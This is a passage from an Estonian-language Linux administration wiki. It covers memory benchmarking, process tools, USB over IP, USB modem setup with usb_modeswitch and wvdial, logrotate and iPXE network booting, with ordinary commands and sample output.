&lt;br /&gt;
st kasutatud mälu on tegelikult vähem kui näib ja vaba mälu on vastavalt samapalju rohkem kui näib.&lt;br /&gt;
&lt;br /&gt;
====Jõudlus====&lt;br /&gt;
&lt;br /&gt;
Arvuteid on valmistatud kasutes erinevaid tehnoloogiaid ja lisaks muudele erinevustele erinevad nad ka mälu kasutamise kiiruse poolest. Üks võimalus mälu kasutamise jõudlust hinnata nö sünteetilise testiga (st spetsiaalselt selleks tarbeks valmistatud programmo abil), nt&lt;br /&gt;
&lt;br /&gt;
* http://www.cs.virginia.edu/stream/&lt;br /&gt;
* https://github.com/gregs1104/stream-scaling&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb viimaselt lingilt kopeerida tar.gz fail, pakkida arhiiv lahti ning öelda&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling&lt;br /&gt;
&lt;br /&gt;
Tulemusena kompileeritakse programm, seejärel käivitatakse ning väljastatakse tulemus, nt&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling &lt;br /&gt;
 === CPU cache information ===&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Data)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Instruction)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 2 Cache: 6144K (Unified)&lt;br /&gt;
 ... &lt;br /&gt;
 Total CPU system cache: 25296896 bytes&lt;br /&gt;
 Suggested minimum array elements needed: 11498589&lt;br /&gt;
 Array elements used: 11498589 &lt;br /&gt;
 &lt;br /&gt;
 === CPU Core Summary ===&lt;br /&gt;
 processor       : 3&lt;br /&gt;
 model name      : Intel(R) Core(TM)2 Quad  CPU   Q9550  @ 2.83GHz&lt;br /&gt;
 cpu MHz         : 1998.000&lt;br /&gt;
 siblings        : 4&lt;br /&gt;
 &lt;br /&gt;
 === Testing up to 4 cores ===&lt;br /&gt;
 ...&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Copy:        4101.0477       0.0453       0.0449       0.0456&lt;br /&gt;
 Scale:       4121.7264       0.0451       0.0446       0.0458&lt;br /&gt;
 Add:         4982.5056       0.0557       0.0554       0.0560&lt;br /&gt;
 Triad:       5001.9268       0.0556       0.0552       0.0561&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Solution Validates&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 2&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       5002.6618       0.0566       0.0552       0.0610 &lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 3&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4892.7425       0.0577       0.0564       0.0607&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 4&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4784.1065       0.0582       0.0577       0.0589&lt;br /&gt;
&lt;br /&gt;
Mälu jõudlust on eriti mõtet hinnata selleks, et võrrelda olemasolevat süsteemi uuega, millega olemasolev kavatsetakse asendada.&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse haldamine===&lt;br /&gt;
&lt;br /&gt;
* IO&lt;br /&gt;
&lt;br /&gt;
 # ionice -c 3 -p 1919&lt;br /&gt;
&lt;br /&gt;
* CPU&lt;br /&gt;
&lt;br /&gt;
 # renice ...&lt;br /&gt;
&lt;br /&gt;
===Protsesside haldamine===&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside nimekirja nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -a -f -u postgres&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside ja vastavate lõimede nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -aLf -u postgres&lt;br /&gt;
&lt;br /&gt;
====Protsesside grupp====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ps -efj | less&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdftk kasutamine===&lt;br /&gt;
&lt;br /&gt;
pdftk http://www.pdflabs.com/docs/install-pdftk/ paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdftk&lt;br /&gt;
&lt;br /&gt;
===tvtime kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install tvtime&lt;br /&gt;
&lt;br /&gt;
ning näidata&lt;br /&gt;
&lt;br /&gt;
 Please choose the TV standard to use -&amp;gt; PAL&lt;br /&gt;
 Please choose the frequency table to use -&amp;gt; Custom (must run tvtime-scanner first)&lt;br /&gt;
 Please choose the video4linux device which corresponds to your capture card -&amp;gt; /dev/video0&lt;br /&gt;
 Please choose the device that will be used in NTSC areas for decoding closed captions and XDS channel information; Device to use for VBI decoding -&amp;gt; /dev/vbi0&lt;br /&gt;
 Please choose whether tvtime should be &amp;quot;setuid root&amp;quot;, therefore getting root privileges when running -&amp;gt; No&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida TV kaardile vastav draiver, nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # rmmod saa7134&lt;br /&gt;
 # modprobe saa7134 card=21 tuner=26&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* card sobiv valik tagab pildi&lt;br /&gt;
* tuner sobiv valik tagab heli&lt;br /&gt;
&lt;br /&gt;
Seejärel skaneerida kanalid&lt;br /&gt;
&lt;br /&gt;
 $ tvtime-scanner &lt;br /&gt;
 Reading configuration from /etc/tvtime/tvtime.xml&lt;br /&gt;
 Scanning using TV standard PAL.&lt;br /&gt;
 Scanning from  44.00 MHz to 958.00 MHz.&lt;br /&gt;
 Found a channel at 607.00 MHz (605.50 - 608.25 MHz), adding to channel list.&lt;br /&gt;
 I/O warning : failed to load external entity &amp;quot;/home/imre/.tvtime/stationlist.xml&amp;quot;&lt;br /&gt;
 station: No station file found, creating a new one.&lt;br /&gt;
&lt;br /&gt;
ning käivitada tvtime programm&lt;br /&gt;
&lt;br /&gt;
 # tvtime&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://sites.google.com/site/jobinau2/saa7130basedtvtunercardunderlinux&lt;br /&gt;
&lt;br /&gt;
===PAM===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine pam_unix abil====&lt;br /&gt;
&lt;br /&gt;
/etc/shadow failis on üldiselt toetatud sellised räsid&lt;br /&gt;
&lt;br /&gt;
* $1$ - MD5&lt;br /&gt;
* $2a$ - blowfish&lt;br /&gt;
* $5$ - SHA-256&lt;br /&gt;
* $6$ - SHA-512&lt;br /&gt;
&lt;br /&gt;
Kui osutab, et /etc/shadow ei tööta, st nt peale süsteemi uuendamist kasutaja sisestab õige parooli kuid ei saa sisse logida, siis tõenäoliselt ei sobi kokku /etc/pam.d/* seadistusfailid /etc/shadow sisuga.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://digitalconsumption.com/forum/615-Blowfish-shadow-files-on-Debian&lt;br /&gt;
&lt;br /&gt;
===Gnome-shell===&lt;br /&gt;
&lt;br /&gt;
Gnome shell http://en.wikipedia.org/wiki/GNOME_Shell on ... ja kasutamine eeldab&lt;br /&gt;
&lt;br /&gt;
* 3D toega videokaardi olemasolu, kusjuures kaart peab nö sobima (nt Radeon HD 3600 fglrx draiveriga annab vigu nö olulises kohas, GeForce 7600 GS nouveau draiveriga sobib)&lt;br /&gt;
&lt;br /&gt;
Olulised asjad&lt;br /&gt;
&lt;br /&gt;
* extensions&lt;br /&gt;
* gnome-tweak-tool&lt;br /&gt;
&lt;br /&gt;
===USB over IP===&lt;br /&gt;
&lt;br /&gt;
USB over IP tarkvara http://usbip.sourceforge.net/ abil saab teha ühe arvuti füüsilised USB seadme üle võrgu kasutatavaks teisest avutist.&lt;br /&gt;
&lt;br /&gt;
Praktiliselt voib olla hada sellest, et user space ja kernel space tarkvara ei sobi kokku. Nt tundub, et Ubuntu (sh v. 14.04) paketihalduses on usbip v. 0.7, aga tuumas talle vajalikke mooduleid pole. Teine variant on, et kasutada saab usbip v. 1.1, millega tuuma moodulid naikse paremini kokku sobivat. Debian Jessie sisaldab 2014 aasta suvel v. 1.1 tarvkara ja see paistab töötavat.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Tarkvara paigaldamine====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigladamiseks sobib mõlemas arvuti öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install usbip&lt;br /&gt;
&lt;br /&gt;
Paigaldamise tulemusena tekib failisysteemi muu hulgas&lt;br /&gt;
&lt;br /&gt;
* usbip - utiliit serveri seadistamiseks ja kliendi juhtimiseks&lt;br /&gt;
* usbipd - serveri poolel tootav deemon&lt;br /&gt;
&lt;br /&gt;
====Serveri poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodulid&lt;br /&gt;
&lt;br /&gt;
 server:~# modprobe usbip_core&lt;br /&gt;
 server:~# modprobe usbip_host&lt;br /&gt;
&lt;br /&gt;
Käivitada usbipd deemon, kuulab vaikimisi 3240/tcp pordil&lt;br /&gt;
&lt;br /&gt;
 server:~# usbipd&lt;br /&gt;
&lt;br /&gt;
USB seadmete serveris olevate USB seadmete nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip list --local&lt;br /&gt;
 Local USB devices&lt;br /&gt;
 =================&lt;br /&gt;
 - busid 1-1 (8087:0024)&lt;br /&gt;
   Intel Corp. : Integrated Rate Matching Hub (8087:0024)&lt;br /&gt;
         1-1:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.2 (0781:5530)&lt;br /&gt;
   SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
         1-1.2:1.0 -&amp;gt; usb-storage&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4 (0424:2514)&lt;br /&gt;
   Standard Microsystems Corp. : USB 2.0 Hub (0424:2514)&lt;br /&gt;
         1-1.4:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.3 (046d:c31d)&lt;br /&gt;
   Logitech, Inc. : Media Keyboard K200 (046d:c31d)&lt;br /&gt;
         1-1.4.3:1.0 -&amp;gt; usbhid&lt;br /&gt;
         1-1.4.3:1.1 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.4 (046d:c05a)&lt;br /&gt;
   Logitech, Inc. : M90/M100 Optical Mouse (046d:c05a)&lt;br /&gt;
         1-1.4.4:1.0 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.5 (04e6:e001)&lt;br /&gt;
   SCM Microsystems, Inc. : SCR331 SmartCard Reader (04e6:e001)&lt;br /&gt;
         1-1.5:1.0 -&amp;gt; usbfs&lt;br /&gt;
&lt;br /&gt;
Seadme eksportimiseks sobib oelda, nt Cruizer USB pulk jaoks&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip bind -b 1-1.2&lt;br /&gt;
 bind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
Tulemusena on --list väljundis vastav seade&lt;br /&gt;
&lt;br /&gt;
  - busid 1-1.2 (0781:5530)&lt;br /&gt;
    SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
          1-1.2:1.0 -&amp;gt; usbip-host&lt;br /&gt;
&lt;br /&gt;
====Kliendi poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodul&lt;br /&gt;
&lt;br /&gt;
 klient:~# modprobe vhci_hcd&lt;br /&gt;
&lt;br /&gt;
Eksporditud seadmete nimekirja küsimiseks sobib öelda kliendi arvutis&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip list -r 192.168.10.10&lt;br /&gt;
 Exportable USB devices&lt;br /&gt;
 ======================&lt;br /&gt;
 - 192.168.10.10&lt;br /&gt;
      1-1.2: SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
           : /sys/devices/pci0000:00/0000:00:07.0/usb1/1-1/1-1.2&lt;br /&gt;
           : (Defined at Interface level) (00/00/00)&lt;br /&gt;
           :  0 - Mass Storage / SCSI / Bulk-Only (08/06/50)&lt;br /&gt;
&lt;br /&gt;
Seadme kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip attach -r 192.168.10.10 -b 1-1.2&lt;br /&gt;
&lt;br /&gt;
Seejärel on seade paistab nagu kohalik seade ja on valmis kasutamiseks, nt&lt;br /&gt;
&lt;br /&gt;
 klient:~# lsusb &lt;br /&gt;
 Bus 009 Device 004: ID 0781:5530 SanDisk Corp. Cruzer&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
ja usbip spetsiifilisemalt&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip port&lt;br /&gt;
 Imported USB devices&lt;br /&gt;
 ====================&lt;br /&gt;
 Port 00: &amp;lt;Port in Use&amp;gt; at High Speed(480Mbps)&lt;br /&gt;
       unknown vendor : unknown product (0781:5530)&lt;br /&gt;
       9-1 -&amp;gt; usbip://192.168.10.10:3240/1-1.2&lt;br /&gt;
           -&amp;gt; remote bus/dev 001/037&lt;br /&gt;
&lt;br /&gt;
Kasutamise lõpetamiseks sobib öelda kasutades vhci_hcd pordi numbrit&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip detach --port=0&lt;br /&gt;
&lt;br /&gt;
====Serveri poolel kasutamise lõpetamine====&lt;br /&gt;
&lt;br /&gt;
Peale seda kui kliendi pool on seadme kasutamine lõpetatud, öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip unbind -b 1-1.2&lt;br /&gt;
 unbind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.howtoforge.com/how-to-set-up-a-usb-over-ip-server-and-client-with-debian-lenny&lt;br /&gt;
* https://www.kernel.org/doc/readme/drivers-staging-usbip-userspace-README&lt;br /&gt;
&lt;br /&gt;
===Töötamine failisüsteemiga===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on häda miinus märgiga failidega töötamisel, -- võtme kasutamine aitab, nt '-failinimi' nimelise faili kustutamisel&lt;br /&gt;
&lt;br /&gt;
 $ rm -- -failinimi&lt;br /&gt;
&lt;br /&gt;
===USB netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB netipulga kasutamine koosneb kahest osast&lt;br /&gt;
&lt;br /&gt;
* arvutis peavad olema /dev/ttyUSB* nimelised usb serial seadmed&lt;br /&gt;
* ppp ühenduse loomiseks tuleb kasutada sobivat programmi, wvdial, Gnome desktopilt midagi vms&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui netipulk ei tööta automaatselt, siis võib olla probleem selles, et süsteem tunneb ta ära storage seadmena ja mitte võrguseadmena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[11360165.312014] usb 1-4: new high-speed USB device number 10 using ehci-pci&lt;br /&gt;
[11360165.458578] usb 1-4: New USB device found, idVendor=12d1, idProduct=1505&lt;br /&gt;
[11360165.458734] usb 1-4: New USB device strings: Mfr=3, Product=2, SerialNumber=0&lt;br /&gt;
[11360165.458900] usb 1-4: Product: HUAWEI Mobile&lt;br /&gt;
[11360165.459001] usb 1-4: Manufacturer: Huawei Technologies&lt;br /&gt;
[11360165.460790] usb-storage 1-4:1.0: USB Mass Storage device detected&lt;br /&gt;
[11360165.461082] scsi10 : usb-storage 1-4:1.0&lt;br /&gt;
[11360166.461381] scsi 10:0:0:0: CD-ROM            HUAWEI   Mass Storage     2.31 PQ: 0 ANSI: 0&lt;br /&gt;
[11360166.478285] sr1: scsi-1 drive&lt;br /&gt;
[11360166.478582] sr 10:0:0:0: Attached scsi CD-ROM sr1&lt;br /&gt;
[11360166.478694] sr 10:0:0:0: Attached scsi generic sg5 type 5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
usb-modeswitch paketi tarkvara teeb temast võrguseadme.&lt;br /&gt;
&lt;br /&gt;
====/dev/ttyUSB* seadmete tekitamine====&lt;br /&gt;
&lt;br /&gt;
E392 kirjaga netipulk paistab faili usb.ids tõttu&lt;br /&gt;
&lt;br /&gt;
 # grep 1505 /var/lib/usbutils/usb.ids&lt;br /&gt;
        1505  E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
lsusb väljundis E398&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 041: ID 12d1:1505 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
Kusjuures /dev kataloogis pole usb serialile vastavaid faili, st /dev/ttyUSB* nimelisi.&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks sobib tekitada fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/usb_modeswitch.d/12d1\:1505 &lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 &lt;br /&gt;
 DefaultVendor=  0x12d1&lt;br /&gt;
 DefaultProduct= 0x1505&lt;br /&gt;
 &lt;br /&gt;
 TargetVendor=  0x12d1&lt;br /&gt;
 TargetProductList=0x1506&lt;br /&gt;
 &lt;br /&gt;
 MessageContent=&amp;quot;55534243123456780000000000000011062000000100000000000000000000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning lisada faili /lib/udev/rules.d/40-usb_modeswitch.rules lõpupoole rida&lt;br /&gt;
&lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 ATTRS{idVendor}==&amp;quot;12d1&amp;quot;, ATTRS{idProduct}==&amp;quot;1505&amp;quot;, RUN+=&amp;quot;usb_modeswitch '%b/%k'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Seejärel võtta pulk usb pesast välja ja uuesti sisse panna, lsusb väljundis peaks nüüd olema, 1506 -&amp;gt; 1505 muutunud&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 043: ID 12d1:1506 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
ning lisaks tekkinud seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Dec 20 01:27 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Dec 20 01:16 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Dec 20 01:16 /dev/ttyUSB2&lt;br /&gt;
&lt;br /&gt;
Tundub, et kui systemd millegipärast ei taha käivitada sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # /usr/sbin/usb_modeswitch --default-vendor 0x12d1 --default-product 0x1505 -J&lt;br /&gt;
&lt;br /&gt;
====wvdial kasutamine====&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf &lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = &lt;br /&gt;
 Username = &lt;br /&gt;
 Password = &lt;br /&gt;
 New PPPD = yes&lt;br /&gt;
 &lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
 Phone = *99#&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Username = &amp;quot; &amp;quot;&lt;br /&gt;
 Password = &amp;quot; &amp;quot;&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Init1 = ATZ&lt;br /&gt;
 Init2 = at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # wvdial&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.61&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Fri Dec 20 01:35:25 2013&lt;br /&gt;
 --&amp;gt; Pid of pppd: 17139&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; local  IP address 10.128.53.223&lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; primary   DNS address 217.71.33.151&lt;br /&gt;
 --&amp;gt; secondary DNS address 217.71.33.150&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib ppp0 seade üle mille saab liiklust ruutida (teiste arvutite liiklust tuleb src nat'tida)&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:10.128.77.124  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:70 (70.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://trisquel.info/en/forum/install-huawei-e392-usb-lte-drivers&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?t=681&lt;br /&gt;
* http://blog.bluedrive.ro/?p=28&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/&lt;br /&gt;
* https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/889878&lt;br /&gt;
* http://importgeek.wordpress.com/tag/12d11505/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/&lt;br /&gt;
* http://oliver.tele2.ee/kuidas-huawei-e1752-ja-ubuntu-10-04-kasikaes-internetti-lahevad/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?f=4&amp;amp;t=891&amp;amp;p=5898&amp;amp;hilit=12d1%3A1505#p5898&lt;br /&gt;
&lt;br /&gt;
===zip arhivaatori kasutamine===&lt;br /&gt;
&lt;br /&gt;
Parooliga kaitstud arhiivi moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ zip -r --password parool katalooginimi.zip katalooginimi&lt;br /&gt;
&lt;br /&gt;
===Pipe viewer===&lt;br /&gt;
&lt;br /&gt;
Pipe viewer programmiga saab jälgida läbi toru mineva progressi. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # timeout 10 cat /dev/zero | pv &amp;gt; /dev/null&lt;br /&gt;
 4GB 0:00:07 [1.91GB/s] [               &amp;lt;=&amp;gt;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
===AUFS===&lt;br /&gt;
&lt;br /&gt;
AUFS http://aufs.sourceforge.net/ võimaldab mitme kataloogi sisu esitada ühes nö virtuaalses kataloogis. Alternatiivne võimalus on seda saavutada UnionFS abil.&lt;br /&gt;
&lt;br /&gt;
 # mount -t aufs -o dirs=/tmp/kata1:/tmp/kata2:/root/kata3 none /tmp/dir&lt;br /&gt;
&lt;br /&gt;
===Network manager===&lt;br /&gt;
&lt;br /&gt;
Lisaks Network manager graafilisele kasutajaliidesele on olemas ka käsurea utiliit nmcli&lt;br /&gt;
&lt;br /&gt;
 # nmcli -p dev&lt;br /&gt;
 ================================================&lt;br /&gt;
                Status of devices&lt;br /&gt;
 ================================================&lt;br /&gt;
 DEVICE      TYPE         STATE      CONNECTION &lt;br /&gt;
 ------------------------------------------------&lt;br /&gt;
 docker0     bridge       connected  docker0    &lt;br /&gt;
 vetha88a    ethernet     connected  vetha88a   &lt;br /&gt;
 br0         openvswitch  connected  br0        &lt;br /&gt;
 br3         openvswitch  connected  br3        &lt;br /&gt;
 tep0        openvswitch  connected  tep0       &lt;br /&gt;
 eth0        ethernet     unmanaged  --         &lt;br /&gt;
 lo          loopback     unmanaged  --         &lt;br /&gt;
 ovs-system  openvswitch  unmanaged  --         &lt;br /&gt;
&lt;br /&gt;
===Skänneri kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install &lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/ScanningHowTo&lt;br /&gt;
* http://www.sane-project.org/sane-backends.html&lt;br /&gt;
&lt;br /&gt;
===Logrotate===&lt;br /&gt;
&lt;br /&gt;
Näitab, mis toimub, aga midagi failisüsteemis vms ei tee&lt;br /&gt;
&lt;br /&gt;
 # logrotate -d /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Teeb nö jõuga&lt;br /&gt;
&lt;br /&gt;
 # logrotate -f /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Roteeritud failide nimedes kuupäeva kasutamiseks sobib logrotate seadistusfailide vastavates sektsioonides kasutada lisaks rida&lt;br /&gt;
&lt;br /&gt;
 dateext&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on nt&lt;br /&gt;
&lt;br /&gt;
 /var/log/apache2/access.log-20140922.gz&lt;br /&gt;
&lt;br /&gt;
===iPXE===&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis mainitud dhcp serveri tarkvarana sobib kasutada paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
ja tftpd serverina paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
iPXE tarkvara paketist&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ipxe&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui on kasutada nö tavalise PXE toega võrgukaardiga arvuti, siis üks viis iPXE tarkvara kasutamiseks on laadida see dhcp + tftp serverilt, nt sellise sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* undionly.kpxe - paketist 'apt-get install ipxe'&lt;br /&gt;
&lt;br /&gt;
Tulemusena ilmub vastava arvuti ekraanile iPXE ja Ctrl-B abil saab siseneda iPXE keskkonda. Nt võrgust Debian Jessie installeri käivitamine toimub sedasi&lt;br /&gt;
&lt;br /&gt;
 chain http://ftp.imool.ee/pub/incoming/imre/dj-install.ipxe&lt;br /&gt;
&lt;br /&gt;
kus pöördutaval aadressil on tekst sisuga&lt;br /&gt;
&lt;br /&gt;
 # cat dj-install.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 kernel http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/linux&lt;br /&gt;
 initrd http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/initrd.gz&lt;br /&gt;
 boot&lt;br /&gt;
&lt;br /&gt;
Seejärel käivitab Debian installer. Paistab, et Jessie oskab iSCSI peale paigaldada.&lt;br /&gt;
&lt;br /&gt;
'chain' ütlemist saab automatiseerida nt sellise DHCP serveri sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
